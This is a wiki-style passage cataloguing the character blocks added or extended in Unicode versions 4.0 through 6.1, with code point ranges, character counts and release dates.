* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221 and U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE-U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357 and U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+0656-U+0658, U+06EE-U+06EF and U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F and U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''. (U+0904)
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''. (U+09BD)
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A01 and U+0A03)
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''. (U+0A8C and U+0AF1-U+0AF3)
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''. (U+0B35 and U+0B71)
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''. (U+0BF3-U+0BFA)
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''. (U+0CBC-U+0CBD)
* Some symbols and signs (total 11 characters) were added to '''Khmer'''. (U+17DD and U+17F0-U+17F9)
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''. (U+2053-U+2054)
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''. (U+213B)
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''. (U+23CF-U+23D0)
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''. (U+24FF)
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''. (U+2614-U+2615, U+268A-U+2691 and U+26A0-U+26A1)
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''. (U+321D-U+321E, U+3250, U+327C-U+327D and U+32CC-U+32CF)
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''. (U+3377-U+337A, U+33DE-U+33DF and U+33FF)
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFD)
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''. (U+FE47-U+FE48)
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''. (U+10426-U+10427 and U+1044E-U+1044F)
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D4C1)

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''' (U+0750-U+077F), containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''' (U+1380-U+139F), containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''' (U+1980-U+19DF), containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''' (U+1A00-U+1A1F), containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''' (U+1D80-U+1DBF), containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''' (U+1DC0-U+1DFF), containing 4 additional diacritics, was added.
* '''Glagolitic''' (U+2C00-U+2C5F), containing 94 characters for the Glagolitic script, was added.
* '''Coptic''' (U+2C80-U+2CFF), containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''' (U+2D00-U+2D2F), containing 38 Nuskhuri letters, was added.
* '''Tifinagh''' (U+2D30-U+2D7F), containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''' (U+2D80-U+2DDF), containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''' (U+2E00-U+2E7F), containing 26 additional punctuation marks, was added.
* '''CJK Strokes''' (U+31C0-U+31CF), containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''' (U+A700-U+A71F), containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''' (U+A800-U+A82F), containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''' (U+FE10-U+FE1F), containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''' (U+10140-U+1018F), containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''' (U+103A0-U+103DF), containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''' (U+10A00-U+10A5F), containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''' (U+1D200-U+1D24F), containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''. (U+0237-U+0241)
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''. (U+0358-U+035C)
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''. (U+03FC-U+03FF)
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''. (U+04F6-U+04F7)
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''. (U+05A2 and U+05C5-U+05C7)
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''. (U+060B, U+061E, and U+0659-U+065E)
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''. (U+097D)
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''. (U+09CE)
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''. (U+0BB6 and U+0BE6)
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''. (U+0FD0-U+0FD1)
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''. (U+10F9-U+10FA and  U+10FC)
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''. (U+1207, U+1247, U+1287, U+12AF, U+12CF, U+12EF, U+130F, U+131F, U+1347, U+135F, and U+1360)
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''. (U+1D6C-U+1D7F)
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''. (U+2055-U+2056 and U+2058-U+205E)
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''. (U+2090-U+2094)
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''. (U+20B2-U+20B5)
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20EB)
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''. (U+213C and U+214C)
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''. (U+23D1-U+23DB)
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''. (U+2618, U+267E-U+267F, U+2692-U+269C, and U+26A2-U+26B1)
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C0-U+27C6)
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B0E-U+2B1D)
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+327E)
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''. (U+9FA6-U+9FBB)
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA70-U+FAD9)
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''. (U+1D6A4-U+1D6A5)

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''' (U+07C0-U+07FF), containing 59 characters for the N'Ko script, was added.
* '''Balinese''' (U+1B00-U+1B7F), containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''' (U+2C60-U+2C7F), containing 17 letters for various languages, was added.
* '''Latin Extended-D''' (U+A720-U+A7FF), containing 2 characters for UPA, was added.
* '''Phags-pa''' (U+A840-U+A87F), containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''' (U+10900-U+1091F), containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''' (U+12000-U+123FF), containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''' (U+12400-U+1247F), containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''' (U+1D360-U+1D37F), containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''. (U+0242-U+024F)
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''. (U+037B-U+037D)
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''. (U+04CF and U+04FA-U+04FF)
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''. (U+0510-U+0513)
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''. (U+05BA)
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''. (U+097B-U+097C and U+097E-U+097F)
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''. (U+0CE2-U+0CE3 and U+0CF1-U+0CF2)
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DC4-U+1DCA)
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20EC-U+20EF)
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''. (U+214D-U+214E)
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''. (U+2184)
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''. (U+23DC-U+23E7)
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''. (U+26B2)
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C7-U+27CA)
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B14-U+2B1A and U+2B20-U+2B23)
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''. (U+A717-U+A71A)
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D7CA-U+1D7CB)

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''' (U+1B80-U+1BBF), containing 55 letters for Sundanese script, was added.
* '''Lepcha''' (U+1C00-U+1C4F), containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''' (U+1C50-U+1C7F), containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''' (U+2DE0-U+2DFF), containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''' (U+A500-U+A63F), containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''' (U+A640-U+A69F), containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''' (U+A880-U+A8DF), containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''' (U+A900-U+A92F), containing 48 letters for Kayah languages, was added.
*  '''Rejang''' (U+A930-U+A95F), containing 37 letters for Rejang script, was added.
* '''Cham''' (U+AA00-U+AA5F), containing 83 letters for Cham script, was added.
* '''Ancient Symbols''' (U+10190-U+101CF), containing 12 characters for weights and measures and other ancient symbols, was added.
* '''Phaistos Disc''' (U+101D0-U+101FF), containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''' (U+10280-U+1029F), containing 29 letters for Lycian script, was added.
* '''Carian''' (U+102A0-U+102DF), containing 49 letters for Carian script, was added.
* '''Lydian''' (U+10920-U+1093F), containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''' (U+1F000-U+1F02F), containing 44 mahjong tiles, was added.
* '''Domino Tiles''' (U+1F030-U+1F09F), containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''. (U+0370-U+0373, U+0375-U+0376 and U+03CF)
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''. (U+0487)
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''. (U+0514-U+0523)
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''. (U+0606-U+060A, U+0616-U+061A and U+063B-U+063F)
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''. (U+076E-U+077F)
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''. (U+0971-U+0972)
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A51 and U+0A75)
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''. (U+0B44 and U+0B62-U+0B63)
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''. (U+0BD0)
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''. (U+0C3D, U+0C58-U+0C59, U+0C62-U+0C63 and U+0C78-U+0C7F)
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''. (U+0D3D, U+0D44, U+0D62-U+0D63, U+0D70-U+0D75 and U+0D79-U+0D7F)
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''. (U+0F6B-U+0F6C, U+0FCE and U+0FD2-U+0FD4)
* Characters for various languages (total 78 characters) were added to '''Myanmar'''. (U+1022, U+1028, U+102B, U+1033-U+1035, U+103A-U+103F, U+105A-U+1099 and U+109E-U+109F)
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''. (U+18AA)
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DCB-U+1DE6)
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''. (U+1E9C-U+1E9F and U+1EFA-U+1EFF)
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''. (U+2064)
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20F0)
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''. (U+214F)
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''. (U+2185-U+2188)
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''. (U+269D, U+26B3-U+26BC and U+26C0-U+26C3)
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CC and U+27EC-U+27EF)
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B1B-U+2B1F, U+2B24-U+2B4C, and U+2B50-U+2B54)
* Additional Latin letters (total 12 characters) were added to '''Latin Extended-C'''. (U+2C6D-U+2C6F, U+2C71-U+2C73, and U+2C78-U+2C7D)
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''. (U+2E18-U+2E1B and U+2E1E-U+2E30)
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''. (U+312D)
* Other strokes (total 20 characters) were added to '''CJK Strokes'''. (U+31D0-U+31E3)
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''. (U+9FBC-U+9FC3)
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''. (U+A71B-U+A71F)
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''. (U+A722-U+A78C and U+A7FB-U+A7FF)
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''. (U+FE24-U+FE26)
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''. (U+1D129)

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''' (U+0800-U+083F), containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''' (U+18B0-U+18FF), containing 70 syllables for various Cree languages, was added.
* '''Tai Tham''' (U+1A20-U+1AAF), containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''' (U+1CD0-U+1CFF), containing 35 characters for tone marks and signs, was added.
* '''Lisu''' (U+A4D0-U+A4FF), containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''' (U+A6A0-U+A6FF), containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''' (U+A830-U+A83F), containing 10 fractions and marks, was added.
* '''Devanagari Extended''' (U+A8E0-U+A8FF), containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''' (U+A960-U+A97F), containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''' (U+A980-U+A9DF), containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''' (U+AA60-U+AA7B), containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''' (U+AA80-U+AADF), containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''' (U+ABC0-U+ABFF), containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''' (U+D7B0-U+D7FF), containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''' (U+10840-U+1085F), containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''' (U+10A60-U+10A7F), containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''' (U+10B00-U+10B3F), containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''' (U+10B40-U+10B5F), containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''' (U+10B60-U+10B7F), containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''' (U+10C00-U+10C4F), containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''' (U+10E60-U+10E7F), containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''' (U+11080-U+110CF), containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''' (U+13000-U+1342F), containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''' (U+1F100-U+1F1FF), containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''' (U+1F200-U+1F2FF), containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''' (U+2A700-U+2B73F), containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''. (U+0524-U+0525)
* Inverted Candrabinbu and additional signs and letters (total 5 characters) were added to '''Devanagari'''. (U+0900, U+094E, U+0955 and U+0979-U+097A)
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''. (U+09FB)
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''. (U+0FD5-U+0FD8)
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''. (U+109A-U+109D)
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''. (U+115A-U+115E, U+11A3-U+11A7 and U+11FA-U+11FF)
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''. (U+1400 and U+1677-U+167F)
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''. (U+19AA-U+19AB and U+19DA)
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFD)
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''. (U+20B6-U+20B8)
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''. (U+2150-U+2152 and U+2189)
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''. (U+23E8)
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''. (U+269E-U+269F, U+26BD-U+26BF, U+26C4-U+26CD, U+26CF-U+26E1, U+26E3 and U+26E8-U+26FF)
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''. (U+2757)
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B55-U+2B59)
* Capital letter turned alpha and additions for Shona (total 3 characters) were added to '''Latin Extended-C'''. (U+2C70 to U+2C7E-U+2C7F)
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''. (U+2CEB-U+2CF1)
* Word separator middle dot (⸱) (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E31)
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3244-U+324F)
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''. (U+9FC4-U+9FCB)
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA6B-U+FA6D)
* Number two and three (total 2 characters) were added to '''Phoenician'''. (U+1091A-U+1091B)

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''', containing 29 letters for Mandaic script, was added.
* '''Batak''', containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''', containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiophic syllables, was added.
* '''Brahmi''', containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''', containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''', containing 2 characters for archaic katakana, was added.
* '''Playing Cards''', containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''', containing 529 additional symbols, was added.
* '''Emoticons''', containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''', containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''', containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''', containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''.
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''.
* Fraction signs (total 6 characters) were added to '''Oriya'''.
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''.
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''.
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''.
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''.
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''.
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''.
* Ophiucisus, astronomical symbol for uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''.
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''.
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''.
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''.
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''.
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''.
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''.
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''.
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''.

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
